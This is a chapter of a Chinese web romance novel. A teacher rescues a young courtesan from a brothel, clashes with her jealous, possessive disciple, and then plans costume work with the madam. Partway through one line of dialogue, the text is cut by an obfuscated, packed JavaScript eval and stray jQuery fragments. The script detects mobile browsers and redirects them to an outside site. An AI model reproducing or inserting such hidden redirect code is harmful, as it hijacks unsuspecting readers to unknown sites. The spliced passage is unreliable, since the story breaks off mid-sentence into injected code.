“哎公子,老鸨此时事忙,您稍等……”


    “不用,拂尘在何处?”


    红香楼那些妓子们以扇遮面:“公子来得可不巧,他正要去伺候新客人呢。”


    新客人,这个新字直击她耳膜,卿如意急慌慌,七拐八弯,但见拂尘正如一朵白昙,即将推门而入。


    “你等等。”卿如意眉心一跳,语气分为不自然。


    拂尘诧异对上她眼:“公子怎么来了?”


    “你别去干这种活儿了,你跟我来。”


    卿如意下定了决心,她不是那种完事就提裤子跑的人,所以绝不可能让拂尘继续屈于人下。


    她会想办法弥补。


    这是一处上好的包间,里头插满了栀子,馥郁芬芳一片。


    可莫名多了一张绫罗遍布的软榻。


    拂尘脸色也跟着微变,他疑惑地看向卿如意,不知她此行为何?


    “给你。”卿如意掏出钱袋,二话不说丢进他怀里。


    拂尘慌了神:“娘子这是为何?奴受不起。”


    “拿着就是了,毕竟我也不想欠别人的。”虽然这么做确实显得她很世故凉薄,拿钱交易般。


    拂尘哆嗦着,神情几息乱变,忽然就开始解衣,吓得卿如意站直了身子,凳子都被屁股顶开。


    “你这是做什么?”


    “难道娘子不是这个意思?”他琥珀色的眼睛泛着窘迫的光。


    卿如意连连后退,心中犯难,她昨天到底都做了些什么,以至于如今训得拂尘如此听话。


    “你先把衣裳穿上。”她不知如何解释,只得委婉道,“以后别再去以色侍人,我也会跟老鸨说清楚。”


    少年这才将那滚了银边的外衣穿好,整个人亭亭玉立,同辞缘不一样,他虽然带了点女气,但更多了几分清冷感。


    “娘子如何能为奴得罪方才那位官人呢,大不了再委屈奴一次。”


    卿如意最听不得这话:“为何都要如此作想?你们红香楼的伶人,难道都是委曲求全之人?”


    她语气微冲,拂尘慌张又要跪,这接二连三一幕幕都让她不自觉又想起辞缘,她越发地心软愧疚。


    卿如意忙上前一步,扣住他手臂,往上一抬:“我没有责怪你的意思,何必总是委屈自己?”


    拂尘动容地抬头,深深看着她。


    “师父。”


    这一声如同冷风过境,又打着旋儿,温温柔柔将她缠住,阴魂不散般,像圈住猎物的毒蛇。


    卿如意心跳骤停,那一双乌泱泱凤眼,一错不错凝望她。


    辞缘也不进来,就那样站在门口,眸子微动,视线落在她握着拂尘的手上。


    “我不是叫你别跟过来吗?”


    她语气生硬,一股被人捉/奸在床的怪诞感油然而生,直叫她头皮发麻。


    “师父一大早才醒酒,就跑到这青楼里来,弟子关心,不行吗?”


    他嗓音冷冽。


    辞缘将视线一划,沉沉看向拂尘,卿如意神情微变,将拂尘往身后一带。不能让辞缘知道,她昨日是跟拂尘荒唐了一夜。


    这一幕刺痛了辞缘,她一大早来这,居然是为了拂尘?原来她推开他,就是为了拂尘?


    那他是什么,是她用完就丢的玩物?


    “师父,昨日才教诲弟子的,您都忘了吗?”他开始踏入房中。


    卿如意没有后退,而是牢牢护在拂尘身前,如临大敌:“什么?”


    辞缘挂着温柔的笑,视线将她从头到脚轻扫,嘲讽般言辞犀利。


    “放浪形骸,不务正业,师父,那你现在又在做些什么呢?”


    心像被狠狠敲打了一顿,他字字针砭她的廉耻心,每一句都戳到她的痛处。


    卿如意强自镇定,遮掩着反将他一军:“我不过是来商量昆曲事宜,你怎如此不懂事,咄咄相向?”


    “我咄咄逼人?”


    他越靠越近,浑身散发柔和的冷意:“师父不愿委屈别人,却愿意委屈弟子,丢下弟子一人在你房中,我咄咄逼人?”


    他明明在笑,但整个人就像一抔冰雪,渗过指腹,一滴一滴敲入骨髓,融入血液。


    “师父,你从睁眼开始,说的话,有几句是出自真心?”


    卿如意哑口无言,难堪地红了脸,羞与恼交织在一起,她要怎么说,难道要毁掉她在辞缘心中的师傅形象,认下自己轻浮非礼别人的事实吗?她又不是故意的。


    她也很难做人,为什么要一直逼她说出真相?


    “师父,不愿回答我吗?”无边的嫉妒几近让辞缘失去理智。


    殊不知,他每一个眼神,每一句话,都像抵上她脖颈的刀戈,逼迫她走上悬崖。


    卿如意浑身发抖,她到底在顾虑什么?就因为她喜欢他,她就得拼命维持一分体面吗?


    自尊心,爱情,有什么用?可他们本就不应该,他们本就没可能!全都是因为师徒关系!


    “辞缘,你无权过问为师的事情。”她狠下心,冷冷看向辞缘,警告威逼,“请你出去。”


    出去,不要看见她和拂尘在一起,不要发现她和拂尘的秘密。


    她死死盯着辞缘,迫使他停下脚步,拂尘忽然轻扯她衣袖,卿如意回头看去,少年眨着琥珀眼,怯怯的:“娘子,可是因为奴?娘子无须费此周章,惹得大家都不愉快。”


    卿如意矢口否认:“这不怪你……”


    拂尘避开她的保护,反将她挡在身后,同辞缘躬身,不卑不亢:“是奴的问题,不怪娘子,娘子也只是好心,想帮奴脱身这烟柳之地,还请公子切莫介怀。”


    辞缘冷笑,目光都不屑于落在拂尘身上:“这么多酒囊饭袋,伺候的人多了去了,为何偏偏救你?”


    “辞缘!”卿如意拔高音量,折断他身上的利刺,“你今日是怎么回事?”


    辞缘微愣,心凉了一片,没想到她会为了外人说话。


    拂尘面色肉眼可见地白了下去,卿如意浑身冒着火气,拳头紧紧攒起,大有同辞缘撕破脸的架势。


    “我今日是怎么回事?”辞缘自嘲般笑了,一双眼久久停在她身上,再度问了一遍,“我今日,是怎么回事?”


    一字一句,仿佛能扯出她的心脏,卿如意恐惧地向后一退,拂尘更是将她挡得严严实实。


    辞缘心中一疼,察觉到她的疏远,才猛然发现自己过激了,他浑身发冷。


    “师父,跟我回去。”


    不过是一瞬间,他便恢复往日的可怜与温驯,他知道如何拿捏她的。


    她会心软的。


    可他并不知道,她在意自己作为师傅的形象,在意人伦道义,忌惮他的偏执本性,所以不会允许自己喜欢他,现在甚至残忍得想剥夺他喜欢她的权利。


    他最开始的话,将她的自尊心全都打碎,反而给了她一个更好的,推开他的理由。


    卿如意声音越来越冷:“你走。”


    辞缘不为所动,用他一贯委屈的嗓音道:“师父,你昨日才饮酒,理应好好休息,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144030|171925||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟我回去。”


    “走,我们去找老鸨。”卿如意不予理会,转身看向拂尘,将辞缘冷落在外。


    辞缘头一次感受到了恐慌,从昨日见到拂尘起,恐慌的种子咬开大地,现在变成一颗参天大树,撑破他的天。


    拂尘顺从地跟在她身后,那低垂的眉眼,跟在她身后的模样,同三个月前的自己,有何区别?


    他在被人取代。


    辞缘瞳孔颤抖,他成了第二个轻鸿,被她丢弃。


    卿如意让拂尘先走,她心中拧巴一片,最后还是于心不忍地落定了脚步。


    回身看向辞缘,见他眼眶微微泛红,卿如意不免犹豫,她真的做对了吗?


    辞缘静静看着她,不再主动开口。


    他现在只想知道,为什么。


    为什么明明喜欢他,却不认他,甚至为了别人丢下他。


    卿如意想安慰几句,奈何嘴又不听使唤:“你不该跟过来,也不该对拂尘说那般重的话,回去好好省过。”


    她咬唇,到底是不忍丢下喜欢的人,又怕他偏执劲上来:“等我忙完,我就会回来的。你好好听话,回去自省。”


    那双凤眼依然如两口深潭,仿佛要将她拖拽进去。辞缘想明白了,玉石俱焚,他偏要做这个恶人,剖开真相,剖开她不敢面对的事实,让她和他一起痛苦难堪——


    “师父,弟子有话想问你。”


    卿如意略微困惑:“关于什么?”


    “你明明梦见的人是……”


    “哎,你怎么磨磨唧唧的?快去啊,快去伺候客人,把客人撂那么久,像什么话!”


    卿如意匆匆扭头,拂尘正被几个妓子推搡,她未作犹豫,抛下辞缘,迈开步子解围:“他跟了我,哪还需要伺候旁的!”


    辞缘刚要出口的话在舌尖打转,他不想听,可那句话一直在耳边回荡。


    “他跟了我”,“他跟了我”……


    所有尖刻的话,竟不知如何拼凑了,甚至远不及这一句的杀伤力。


    卿如意好半天才支开那些妓子,知道不能再耽搁了,对辞缘叮嘱道:“记住我告诫你的,为师走了,别再跟过来。”


    和她保持距离,适可而止吧。


    *


    卿如意寻到老鸨那儿,好巧不巧,老鸨正在研究点翠。


    见到她来,先是一喜,再听她一番说道,不免惊诧地看了眼拂尘。


    这小子,好本事,跟辞缘当年一样,晓得傍座大山。


    爽快应下,把这拂尘的身契都给还了。


    “翠鸟毛太少,也不应该为了制作一样头饰,便残杀无辜,不如改点翠为点绸。”卿如意步入正题,“这样又能省经费,又能保证头饰做出来好看。”


    老鸨一听,也道是个好主意,当下便是一阵商榷,不知不觉又过去几个时辰。


    而到最后,天色已然晚了下去。


    刚好谈到戏服一事,老鸨一把推搡过拂尘,送到她面前:“娘子,这不刚好有几套戏服吗,娘子不若来给他做几个妆造,奴也好跟着您学些门路。”


    “瞧瞧多好看的眉眼,过几天就有一场曲会,娘子我们这次可要夺得头筹啊。”


    卿如意自觉忘记了什么事,但眼前老鸨盛情难却,各色各样妆奁都给呈了上来,就连戏服都闪烁华贵的金光,眼睛一晃,哪里还记得什么答应辞缘的事情。


    等到她忙完一切,浑身倦怠地回了相府,看那明月当空,才陡然想起一事。


    她把辞缘忘了。